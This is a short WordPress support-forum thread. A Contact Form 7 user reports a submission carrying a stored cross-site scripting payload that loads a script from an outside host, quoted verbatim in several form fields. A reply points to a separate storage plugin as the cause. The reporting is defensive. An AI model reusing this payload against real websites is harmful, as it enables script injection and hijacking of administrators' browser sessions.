Title: JS Injection
Last modified: February 20, 2019

---

# JS Injection

 *  Resolved [sergeygindin](https://wordpress.org/support/users/sergeygindin/)
 * (@sergeygindin)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/js-injection-2/)
 * Hi. Recently, we received an contact form with this entered data:
 * your-name: “><script src=//x.z66.nl></script>
    your-email: [patrick19899@protonmail.com](https://wordpress.org/support/topic/js-injection-2/patrick19899@protonmail.com?output_format=md)
   your-tel-prefix: your-tel: 0612345678 your-occupation: “><script src=//x.z66.
   nl></script> Message: “><script src=//x.z66.nl></script>
 * We are using v5.0.4 of CF7.
 * I tried to reproduce this message on dev, so when going to /wp-admin/admin.php?
   page=cf7_storage, this sended form script was executed automatically.
 * Does future versions of plugin have ability to block this injections?
    Thanks.

Viewing 2 replies - 1 through 2 (of 2 total)

 *  [Česlav Przywara](https://wordpress.org/support/users/chesio/)
 * (@chesio)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/js-injection-2/#post-11227868)
 * Hi,
 * Contact Form 7 does not store submitted forms by default, so you must be using
   some other plugin that stores (and displays) forms data. Please, ask the author
   of that plugin to fix the JS injection.
 * Cheers,
    Česlav
 *  Thread Starter [sergeygindin](https://wordpress.org/support/users/sergeygindin/)
 * (@sergeygindin)
 * [7 years, 2 months ago](https://wordpress.org/support/topic/js-injection-2/#post-11230718)
 * Ok, thanks for the point.

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘JS Injection’ is closed to new replies.

 * ![](https://ps.w.org/contact-form-7/assets/icon.svg?rev=2339255)
 * [Contact Form 7](https://wordpress.org/plugins/contact-form-7/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/contact-form-7/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/contact-form-7/)
 * [Active Topics](https://wordpress.org/support/plugin/contact-form-7/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/contact-form-7/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/contact-form-7/reviews/)

 * 2 replies
 * 2 participants
 * Last reply from: [sergeygindin](https://wordpress.org/support/users/sergeygindin/)
 * Last activity: [7 years, 2 months ago](https://wordpress.org/support/topic/js-injection-2/#post-11230718)
 * Status: resolved